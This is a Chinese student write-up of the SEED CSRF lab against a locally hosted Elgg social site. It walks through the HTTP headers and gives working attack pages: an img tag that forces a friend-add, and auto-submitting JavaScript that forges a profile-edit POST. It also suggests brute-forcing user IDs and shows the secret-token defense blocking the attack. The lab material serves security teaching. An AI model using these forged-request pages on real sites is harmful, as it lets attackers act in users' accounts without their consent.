信息安全 SEED Lab8 Cross-Site Request Forgery (CSRF) Attack Lab

这个实验主要是利用CSRF攻击来完成一些恶意的操作。由于整个实验过程要用到两个网站,这里先配置一下。

两个网站都部署在本地,且用域名访问,所以我们需要现在 /etc/hosts文件中设置域名到 IP 的映射关系。内容如下:

127.0.0.1       www.csrflabelgg.com
127.0.0.1       www.csrflabattacker.com

网站使用Apache作为服务器,在 /etc/apache2/sites-available/000-default.conf配置一下网站主目录,内容如下:

<VirtualHost *:80>
        ServerName http://www.csrflabelgg.com
        DocumentRoot /var/www/CSRF/Elgg
</VirtualHost>
<VirtualHost *:80>
        ServerName http://www.csrflabattacker.com
        DocumentRoot /var/www/CSRF/Attacker
</VirtualHost>

事实上,上面两部分环境中早已配置好,无需我们操心。

最后使用下面命令启动apache2

sudo service apache2 restart

输入网站地址,可以清楚看到首页

1.  Task 1

这部分主要是观察HTTP GET 和 POST请求,熟悉其中的参数

使用F12 Network查看首页的GET请求如下

解析如下:

// 表示请求方式
Request Method: GET
// 表示此次请求的状态码
Status Code
//表示能够接受的回应内容类型(Content-Types)
Accept: text/html,application/xhtml+xm…plication/xml;q=0.9,*/*;q=0.8
//表示能够接受的编码方式列表。
Accept-Encoding: gzip, deflate
//表示能够接受的回应内容的自然语言列表。
Accept-Language: en-US,en;q=0.5
//表示用来指定在这次的请求/响应链中的所有缓存机制 都必须 遵守的指令
Cache-Control: max-age=0
//表示该浏览器想要优先使用的连接类型
Connection: keep-alive
//即之前由服务器通过 Set- Cookie (下文详述)发送的一个 超文本传输协议Cookie
Cookie: Elgg=4nlnrfadr7e0l3ip781es155i4
//表示服务器的域名(用于虚拟主机 ),以及服务器所监听的传输控制协议端口号。
Host: www.csrflabelgg.com
//表示客户端优先选择加密及带有身份验证的响应
Upgrade-Insecure-Requests: 1
//表示浏览器的浏览器身份标识字符串
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linu…) Gecko/20100101 Firefox/60.0

查看登录用的POST请求如下:

body内容如下:

POST请求头与GET请求头类似,其中未出现在GET请求的字段解释如下:

//表示以八位字节数组 (8位的字节)表示的请求体的长度
Content-Length: 119
//表示请求体的 多媒体类型 (用于POST和PUT请求中)
Content-Type: application/x-www-form-urlencoded
//示浏览器所访问的前一个页面,正是那个页面上的某个链接将浏览器带到了当前所请求的这个页面
Referer: http://www.csrflabelgg.com/search?q=123&search_type=all

 

2.  Task 2

这部分主要是通过CSRF攻击实现让Bob成为Alice的好友。

添加好友的GET请求如下:

要让Bob成为Alice的好友,只要让Alice访问 http://www.csrflabelgg.com/action/friends/add?friend=43即可,其中43是Bob的ID,可以通过编辑主页查看POST请求获得,可参考task3。

下面构造攻击页面, 攻击网站的index.html位于/var/www/CSRF/Attacker/index.html, 内容如下:

<!Doctype html>
<html>
        <head>
                <title>You have been attacked!</title>
        </head>
        <body>
                <img src="http://www.csrflabelgg.com/action/friends/add?friend=43">
                <h1>You have been attacked!</h1>
        <body>
</html>

尝试访问攻击网站效果如下,由于图片的地址是我们构造的恶意地址,并不是真实的图片,所以不会显示。

这里为了简便攻击网页内容提示了用户访问了攻击网站,实际攻击中攻击者肯定是不会这么做的

下面只要让Bob将恶意网站链接发送给Alice,Alice点击即可。

先登录Bob的账号给Alice发送消息,如下:

登录Alice的账号,可以看到目前还没有好友

点击Bob发来的消息,并访问恶意网站。

再返回查看好友,可以看到Bob出现在了Alice的好友列表中,攻击成功。

 

3.  Task 3

这部分主要是利用CSRF攻击来修改主页上的自我介绍。这里我们直接在task 2的基础上做, 这样可以复用之前Boby发送给Alice的链接。

修改主页的POST请求头如下,

body如下:

其中guid和task2一样,是Bob的ID, 攻击时要用到Alice的ID,我们可以通过Bob 添加 Alice为好友的GET请求来查看,请求如下,其中URL中的42就是Alice的ID

构造的攻击页面如下:

<!Doctype html>
<html>
        <head>
                <title>You have been attacked!</title>
        </head>
        <body>
                <img src="http://www.csrflabelgg.com/action/friends/add?friend=43">
                <h1>You have been attacked!</h1>
        <body>
        <script type="text/javascript">
            function forge_post() {
                var fields = "";
                
                fields += "<input type='hidden' name='name' value='Alice'>";
                fields += "<input type='hidden' name='briefdescription' value='Boby is my Hero'>";
                fields += "<input type='hidden' name='name' value='Alice'>";
                fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
                fields += "<input type='hidden' name='guid' value='42'>";

                var p = document.createElement("form");
                p.action = "http://www.csrflabelgg.com/action/profile/edit";
                p.innerHTML = fields;
                p.method = "post";

                document.body.appendChild(p);
                p.submit();
            }

            window.onload = function() { forge_post(); }
        </script>
</html>

 

登录Alice账号,可以看到主页介绍是空的

点击之前Bob发送给她的恶意网站链接

再返回查看,可以发现主页已经被更新,攻击成功

 

Q1: 更新主页的POST请求中有个GUID参数。Boby不知道Alice的密码,它怎么知道Alice的GUID是多少?

A1: 首先这个GUID肯定与账号有关。那么可以简单的假设GUID就是账号ID,通过系统中其他的一些请求就可以知道其他账号的ID,我们这里是通过add friend的GET

请求来知道其他账号的ID的,具体截图见上。如果GUID不是账号ID,则Boby可以再创建一个账号,通过两个账号的互动操作请求来寻找GUID的具体值。

Q2: 假设Boby不知道是谁在访问恶意网页,那他是否可能用CSRF攻击来修改它的主页简介呢?

A2: 其实也是可以的。如果网站对GUID和name不做校验,而是只用cookie来得知要修改主页的用户的话,那么上面的攻击方式无需修改,在这个场景下也能攻击成功。

如果做了校验的话,这个网站提供了网站上的所有成员信息,用上面的方法可以知道他们对应的GUID,那么我们可以在恶意网站上暴力枚举所有用户修改主页的POST请求,

最后也可以攻击成功。

 

4.  Task 4

最后这部分主要是打开Web App的防御CSRF的密钥机制,重试攻击。

打开编辑主页的页面,查看HTML代码,可以发现,在表单前面,有两个隐藏的input标签,它们的值就是表单的密钥。

提交表单的请求如下, 可以看到在提交表单的时候密钥会被发送给服务器进行校验。

下面我们打开Web App的密钥防御机制。将 /var/www/CSRF/ Elgg/vendor/elgg/elgg/engine/classes/Elgg/ActionsService.php中 gatekeeper函数的第一行return true注释掉即可。

再次进行攻击。先清空Alice的主页简介和朋友

点击之前的恶意链接,再返回查看主页和朋友,网站右侧弹出了一堆的错误提示: 提交的表单缺少两个字段。并且攻击的网站一直在刷新,一直在发请求。

这一堆错误提示是静态的,也就是不是在我访问了恶意链接,主页没刷新就出现了一堆错误提示,后台也没有相关网络请求。

而是在我访问了恶意链接在刷新了了主页之后主页上出现的,说明这些错误是静态渲染的。这个Web App会将一些错误的信息保存到数据库里,在下次访问主页的时候会

渲染在主页上。

一直在刷新,一直在发请求是因为我们post的表单数据缺了一部分,被攻击的网站的响应如下,他返回了302 not found, 且location设置成了攻击网站,浏览器就会post url上的资源不存在,转移到了locaiton处,

因此会转而去请求location,也就是攻击网站。因此会一直刷新网页,发送请求。

主页朋友和之前一样,没有变化,攻击失败。

这个实验到此就结束了。

Q:为什么攻击者无法在CSRF攻击中发送密钥?是谁保护了密钥不被泄露?

A:  密钥是卸载网页里的,恶意网站与被攻击网站不同源,无法获取被攻击网站HTML上的密钥,从而无法伪造请求,攻击失败。浏览器实施了同源策略,保护了密钥不被泄露。

 
  • 3
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值